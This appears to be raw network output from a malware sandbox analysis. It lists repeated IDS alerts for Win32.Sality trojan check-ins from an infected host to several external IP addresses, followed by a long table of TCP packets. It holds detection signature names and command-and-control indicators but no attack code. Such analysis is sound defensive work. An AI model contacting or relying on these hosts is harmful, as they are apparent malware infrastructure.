                                                          07/05/24-08:00:10.645082TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971080192.168.2.778.46.2.155
                                                          07/05/24-08:02:36.832363TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989780192.168.2.744.221.84.105
                                                          07/05/24-08:03:43.929702TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998680192.168.2.744.221.84.105
                                                          07/05/24-08:01:50.838235TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983980192.168.2.737.230.104.89
                                                          07/05/24-08:01:08.006940TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978680192.168.2.778.46.2.155
                                                          07/05/24-08:03:26.860959TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24996380192.168.2.744.221.84.105
                                                          07/05/24-08:03:40.742000TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24998280192.168.2.778.46.2.155
                                                          07/05/24-08:01:23.869123TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980580192.168.2.744.221.84.105
                                                          07/05/24-08:01:46.114759TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983380192.168.2.737.230.104.89
                                                          07/05/24-08:00:14.773929TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971680192.168.2.744.221.84.105
                                                          07/05/24-08:03:32.330065TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24997080192.168.2.778.46.2.155
                                                          07/05/24-08:04:05.856829TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001580192.168.2.754.244.188.177
                                                          07/05/24-08:00:39.713481TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24975080192.168.2.737.230.104.89
                                                          07/05/24-08:04:01.487780TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000980192.168.2.754.244.188.177
                                                          07/05/24-08:02:31.791683TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24989080192.168.2.744.221.84.105
                                                          07/05/24-08:01:25.619836TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980880192.168.2.737.230.104.89
                                                          07/05/24-08:02:02.941707TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985380192.168.2.754.244.188.177
                                                          07/05/24-08:01:10.569607TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978980192.168.2.744.221.84.105
                                                          07/05/24-08:02:09.655496TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24986280192.168.2.778.46.2.155
                                                          07/05/24-08:02:27.085889TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24988480192.168.2.744.221.84.105
                                                          07/05/24-08:01:28.406516TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981180192.168.2.744.221.84.105
                                                          07/05/24-08:01:57.670447TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24984780192.168.2.754.244.188.177
                                                          07/05/24-08:00:19.261473TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972280192.168.2.744.221.84.105
                                                          07/05/24-08:02:22.349717TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24987880192.168.2.744.221.84.105
                                                          07/05/24-08:01:15.340850TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24979580192.168.2.744.221.84.105
                                                          07/05/24-08:02:04.886056TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24985680192.168.2.778.46.2.155
                                                          07/05/24-08:00:13.526849TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24971480192.168.2.754.244.188.177
                                                          07/05/24-08:03:58.195981TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25000580192.168.2.744.221.84.105
                                                          07/05/24-08:00:17.267424TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24972080192.168.2.754.244.188.177
                                                          07/05/24-08:01:06.213484TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24978380192.168.2.754.244.188.177
                                                          07/05/24-08:01:21.203555TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24980280192.168.2.778.46.2.155
                                                          07/05/24-08:04:02.950492TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 25001180192.168.2.744.221.84.105
                                                          07/05/24-08:01:43.459729TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24983080192.168.2.744.221.84.105
                                                          07/05/24-08:01:34.880660TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24981980192.168.2.754.244.188.177
                                                          07/05/24-08:01:01.041161TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24977780192.168.2.754.244.188.177
                                                          07/05/24-08:03:15.937387TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24994980192.168.2.754.244.188.177
                                                          07/05/24-08:00:28.927989TCP2804830ETPRO TROJAN Win32.Sality.bh Checkin 24973680192.168.2.754.244.188.177

                                                          Network Port Distribution

                                                          TCP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Jul 5, 2024 08:00:03.636066914 CEST49674443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:03.636076927 CEST49675443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:03.792216063 CEST49672443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:07.742981911 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:07.747797012 CEST7994970644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:07.747898102 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:07.750441074 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:07.758232117 CEST7994970644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:07.905914068 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:07.910923004 CEST804970754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:07.910995007 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:07.985688925 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:07.990616083 CEST804970754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:08.178874969 CEST7994970644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:08.179012060 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.179373980 CEST7994970644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:08.179439068 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.237165928 CEST49706799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.245244026 CEST7994970644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:08.646006107 CEST804970754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:08.646028996 CEST804970754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:08.646059990 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:08.646091938 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:08.654737949 CEST4970780192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:08.659532070 CEST804970754.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:08.763180017 CEST4970880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.768472910 CEST804970844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:08.768574953 CEST4970880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.773435116 CEST4970880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:08.778462887 CEST804970844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:09.277347088 CEST804970844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:09.277362108 CEST804970844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:09.277420998 CEST4970880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:09.293745041 CEST4970880192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:09.298758030 CEST804970844.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:09.623368979 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:09.628447056 CEST804970944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:09.628535032 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:09.628662109 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:09.633480072 CEST804970944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:10.129319906 CEST804970944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:10.129406929 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:10.129483938 CEST804970944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:10.129600048 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:10.503235102 CEST4970980192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:10.508033037 CEST804970944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:10.640069962 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:10.644845963 CEST804971078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:10.644926071 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:10.645081997 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:10.649868965 CEST804971078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:11.322273970 CEST804971078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:11.322345972 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:11.521258116 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:11.526140928 CEST804971137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:11.526204109 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:11.526433945 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:11.531181097 CEST804971137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:12.155780077 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.164925098 CEST7994971244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:12.165010929 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.165636063 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.170650959 CEST7994971244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:12.262953043 CEST804971137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:12.263022900 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.343679905 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.344074965 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.351433992 CEST804971337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:12.351454020 CEST804971137.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:12.351533890 CEST4971180192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.351579905 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.351850033 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:12.374650955 CEST804971337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:12.592714071 CEST7994971244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:12.592737913 CEST7994971244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:12.592778921 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.592880964 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.597105026 CEST49712799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:12.602046013 CEST7994971244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:13.090115070 CEST804971337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:13.090195894 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:13.307832003 CEST49674443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:13.307847023 CEST49675443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:13.417254925 CEST49672443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:13.475850105 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:13.480796099 CEST804971454.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:13.481012106 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:13.526849031 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:13.534214020 CEST804971454.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:14.210362911 CEST804971454.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:14.210433006 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:14.210489035 CEST804971454.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:14.210566998 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:14.212059021 CEST4971480192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:14.213954926 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.217319012 CEST804971454.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:14.218955994 CEST804971544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.219043016 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.219187021 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.224072933 CEST804971544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.724879980 CEST804971544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.725006104 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.725060940 CEST804971544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.725126982 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.726028919 CEST4971580192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.731194019 CEST804971544.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.767879963 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.773313999 CEST804971644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:14.773713112 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.773929119 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:14.779470921 CEST804971644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:15.266690016 CEST804971644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:15.266805887 CEST804971644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:15.266860962 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:15.266860962 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:15.267893076 CEST4971680192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:15.270550966 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.270992994 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.273972034 CEST804971644.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:15.276927948 CEST804971078.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:15.277002096 CEST4971080192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.277242899 CEST804971778.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:15.277323008 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.277686119 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.284149885 CEST804971778.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:15.950936079 CEST804971778.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:15.951071978 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:15.989101887 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:15.989448071 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:15.995541096 CEST804971337.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:15.995663881 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:15.995687008 CEST4971380192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:15.995758057 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:15.997395992 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:16.002610922 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:16.190495968 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.195920944 CEST7994971944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:16.197297096 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.197642088 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.202928066 CEST7994971944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:16.606110096 CEST7994971944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:16.606148005 CEST7994971944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:16.606245995 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.606245995 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.653295994 CEST49719799192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:16.658303022 CEST7994971944.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:16.735994101 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:16.736083031 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:16.741288900 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:16.746750116 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:16.975927114 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:16.978847027 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:17.238985062 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:17.243885040 CEST804972054.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:17.243983984 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:17.267424107 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:17.273561001 CEST804972054.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:17.995126009 CEST804972054.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:17.995193958 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:17.995204926 CEST804972054.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:17.996304989 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:18.023550034 CEST4972080192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:18.028492928 CEST804972054.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:18.608993053 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:18.614167929 CEST804972144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:18.614259958 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:18.614532948 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:18.619554996 CEST804972144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.143115044 CEST804972144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.143300056 CEST804972144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.143346071 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.143420935 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.144913912 CEST4972180192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.152159929 CEST804972144.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.249850988 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.258584023 CEST804972244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.261353016 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.261472940 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.267699003 CEST804972244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.788567066 CEST804972244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.788625956 CEST804972244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.788638115 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.788737059 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.789544106 CEST4972280192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:19.797137976 CEST804972244.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:19.835232973 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:19.836466074 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:19.842989922 CEST804971778.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:19.843040943 CEST4971780192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:19.843841076 CEST804972378.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:19.844408035 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:19.844628096 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:19.855345011 CEST804972378.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:20.533313990 CEST804972378.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:20.534189939 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:20.845824957 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:20.846117020 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:21.214112043 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:21.707421064 CEST804972437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:21.707432985 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:21.707573891 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:21.708136082 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:21.945734024 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:21.945933104 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:21.946006060 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:21.946094036 CEST804972437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:21.946141005 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:22.189471006 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:22.189604998 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:22.189631939 CEST4971880192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:22.194488049 CEST804971837.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:23.645361900 CEST804972437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:23.645462036 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.647260904 CEST804972437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:23.647325993 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.661717892 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.662316084 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.673258066 CEST804972437.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:23.673388958 CEST4972480192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.673460007 CEST804972537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:23.673525095 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.674042940 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:23.682485104 CEST804972537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:24.318150997 CEST49705443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:24.318840981 CEST49727443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:24.318886042 CEST44349727104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:24.318998098 CEST49727443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:24.323232889 CEST44349705104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:24.324419975 CEST49727443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:24.324436903 CEST44349727104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:24.407248020 CEST804972537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:24.407522917 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:24.802369118 CEST4972880192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:24.807384968 CEST804972854.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:24.808034897 CEST4972880192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:24.811845064 CEST4972880192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:24.820386887 CEST804972854.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:25.541151047 CEST804972854.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:25.541282892 CEST804972854.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:25.541400909 CEST4972880192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:25.553989887 CEST44349727104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:25.554080009 CEST44349727104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:25.554137945 CEST49727443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:25.653991938 CEST4972880192.168.2.754.244.188.177
                                                          Jul 5, 2024 08:00:25.658860922 CEST804972854.244.188.177192.168.2.7
                                                          Jul 5, 2024 08:00:25.967654943 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:25.972563028 CEST804973044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:25.972636938 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:25.972826958 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:25.977603912 CEST804973044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.490910053 CEST804973044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.490972042 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.491147041 CEST804973044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.491197109 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.492161036 CEST4973080192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.497076988 CEST804973044.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.514081955 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.519906998 CEST804973344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.519985914 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.520518064 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:26.526962996 CEST804973344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:26.862134933 CEST49727443192.168.2.7104.98.116.138
                                                          Jul 5, 2024 08:00:26.862159967 CEST44349727104.98.116.138192.168.2.7
                                                          Jul 5, 2024 08:00:27.057482958 CEST804973344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:27.057580948 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:27.057719946 CEST804973344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:27.057784081 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:27.059192896 CEST4973380192.168.2.744.221.84.105
                                                          Jul 5, 2024 08:00:27.061429024 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.062316895 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.064924002 CEST804973344.221.84.105192.168.2.7
                                                          Jul 5, 2024 08:00:27.067622900 CEST804972378.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:27.067637920 CEST804973478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:27.067677975 CEST4972380192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.067780972 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.068264008 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.073698997 CEST804973478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:27.749187946 CEST804973478.46.2.155192.168.2.7
                                                          Jul 5, 2024 08:00:27.749306917 CEST4973480192.168.2.778.46.2.155
                                                          Jul 5, 2024 08:00:27.794886112 CEST4972580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:27.795135021 CEST4973580192.168.2.737.230.104.89
                                                          Jul 5, 2024 08:00:27.799936056 CEST804972537.230.104.89192.168.2.7
                                                          Jul 5, 2024 08:00:27.799953938 CEST804973537.230.104.89192.168.2.7
